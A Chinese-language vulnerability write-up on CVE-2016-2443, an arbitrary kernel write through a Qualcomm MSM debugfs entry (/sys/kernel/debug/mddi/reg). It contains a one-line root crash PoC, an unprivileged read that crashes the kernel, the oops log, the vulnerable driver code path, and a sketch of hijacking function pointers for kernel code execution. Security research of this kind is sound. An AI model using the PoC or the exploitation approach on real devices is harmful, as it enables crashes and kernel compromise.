Qualcomm MSM debugfs内核任意地址写入漏洞分析(CV

近日,谷歌发布 5 月份补丁更新,本次共修复了32个漏洞。其中包含一个Qualcomm漏洞,威胁等级为高危,CVE编号为CVE-2016-2443,CNNVD编码为CNNVD-201605-060。

本文主要分析该漏洞的局限性和可利用性。

测试设备为运行Qualcomm SoC的Nexus 7 2013,感兴趣的读者可以从Google Android资源库( https://android.googlesource.com/kernel/msm/ )下载MSM内核源代码。

AOSP 中与测试设备对应的代码名称为flo。由于内核的master分支为空,因此需要切换分支,例如,检查android-msm-flo-3.4-marshmallow-mr1分支。

Linux kernel 的一个比较有趣的功能和攻击面就是debug filesystem或debugfs,攻击者可以通过与debugfs创建的文件系统交互获取内核代码路径。

debugfs

以下 引用自 Documentation/filesystems/debugfs.txt 目录下的Linux内核文档,是比较典型的对debugfs的描述:

Debugfs exists as a simple way for kerneldevelopers to make information available to user space.  Unlike /proc, which is only meant forinformation about a process, or sysfs, which has strict one-value-per-filerules,debugfs has no rules at all. Developers can put any information they want there.

根据以上描述可知,debugfs是寻找信息泄露和内存损坏漏洞的很好的切入点。除了可以读取内核中的信息,debugfs还提供了多个可以传递数据的入口——潜在地导致内存损坏。

debugfs 挂载在/sys/kernel/debug目录下,并且在Android设备中通常符号链接到/d/目录。

发现漏洞

相比从搜索文件系统项开始,更好的是使用相反的方法:内核代码检查。首先,寻找危险的函数和宏,例如writel,并且回溯它们的使用方法检查其是否可以被用户空间的debugfs或devices利用。

writel 宏/函数是相关的实现,但是实际上它的功能等同于void writel(unsignedvalue, address)函数,该函数用于向地址中写入值。也就是说,如果攻击者可以控制address和value参数,那么就可以想内核写入任意内容。

漏洞详情

通过搜索代码,发现了debugfs条目的writel函数:

/sys/kernel/debug/mddi/reg -rw-r--r-- root root

该debugfs条目为root用户可写(该限制降低了漏洞的影响程度) ,所有用户可读。

在分析代码前,首先来测试一下POC,以root权限运行:

echo "41414141 42424242" >/sys/kernel/debug/mddi/reg

测试设备内核崩溃并重启,在/proc/last_kmsg中可以查看内核崩溃的摘要信息:

[  277.320953]Unable to handle kernel paging request at virtual address 41414141

[ 277.321411] pgd = e50fc000

[ 277.321868] [41414141] *pgd=00000000

[ 277.322387] Internal error: Oops: 805 [#1] PREEMPT SMP ARM

[ 277.322662] CPU: 0    Tainted:G        W     (3.4.0-g8ba2631 #1)

[ 277.323211] PC is at mddi_reg_write+0x40/0x70

[ 277.323486] LR is at mddi_reg_write+0x2c/0x70

[ 277.324005] pc : [<c02e04fc>]   lr : [<c02e04e8>]    psr:60010013

[ 277.324005] sp : e789bf30  ip :0000000a  fp : b6d06196

[  277.324768]r10: 00000000  r9 : e789a000  r8 : 00000012

[ 277.325042] r7 : 41414141  r6 :41414141  r5 : 42424242  r4 : 00000000

[ 277.325531] r3 : c113f7c0  r2 :00000000  r1 : 00000000  r0 : 00000000

[ 277.325836] Flags: nZCv  IRQson  FIQs on  Mode SVC_32 ISA ARM  Segment user

[ 277.326324] Control: 10c5787d Table: a64fc06a  DAC: 00000015

可以看出,通过向0×41414141中写入0×42424242导致内核崩溃

注意,以未提权用户权限读取该内容时也可以导致内核崩溃:

cat /sys/kernel/debug/mddi/reg

如果用户可以避免内核崩溃,那么攻击者就可以利用这一点以未提权用户权限导致信息泄露,获取内存中的重要信息。

代码分析

从后往前看,从在drivers/video/msm/mdp_debugfs.c文件中创建/sys/kernel/debug/mddi/reg条目的代码开始:

dent = debugfs_create_dir("mddi", NULL);

if (IS_ERR(dent)) {

printk(KERN_ERR"%s(%d): debugfs_create_dir fail, error %ld\n",

__FILE__,__LINE__, PTR_ERR(dent));

return -1;

}

if (debugfs_create_file("reg", 0644, dent, 0,&pmdh_fops)

== NULL) {

printk(KERN_ERR"%s(%d): debugfs_create_file: debug fail\n",

__FILE__,__LINE__);

return -1;

}

在该段代码中,内核会创建debugfs条目,并分配pmdh_fops文件操作处理程序(在相同的文件中:drivers/video/msm/mdp_debugfs.c):

static const struct file_operations pmdh_fops = {

.open = mddi_reg_open,

.release =mddi_reg_release,

.read = pmdh_reg_read,

.write =pmdh_reg_write,

};

在pmdh_reg_write成员中有一个用于读取文件系统写入数据的函数(仍然在drivers/video/msm/mdp_debugfs.c文件):

static ssize_t pmdh_reg_write(

struct file *file,

const char __user*buff,

size_t count,

loff_t *ppos)

{

...

cnt =sscanf(debug_buf, "%x %x", &off, &data);

mddi_reg_write(0, off,data);

...

}

在mddi_reg_write函数中会调用我们在上面提到的没有充分边界检查的writel函数(drivers/video/msm/mdp_debugfs.c文件):

static void mddi_reg_write(int ndx, uint32 off, uint32 data)

{

...

writel(data, base +off);

...

}

对于读操作,这是一个非常类似的代码路径:mddi_reg_read -> readl

在本篇文章中主要介绍内核崩溃,有兴趣的读者可以尝试一下内存泄露的利用。

漏洞利用

任意内核内存写入是内核漏洞利用最基本的方式,因此比较容易实现。例如,可以覆盖函数指针,劫持内核进而执行任意代码。

与用户空间相比,内核代码执行在Android平台上效果会更加显著。如果想要尝试利用TrustZone,就需要在内核中执行代码。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/f82d75b306797475f87870f518d37b9d.html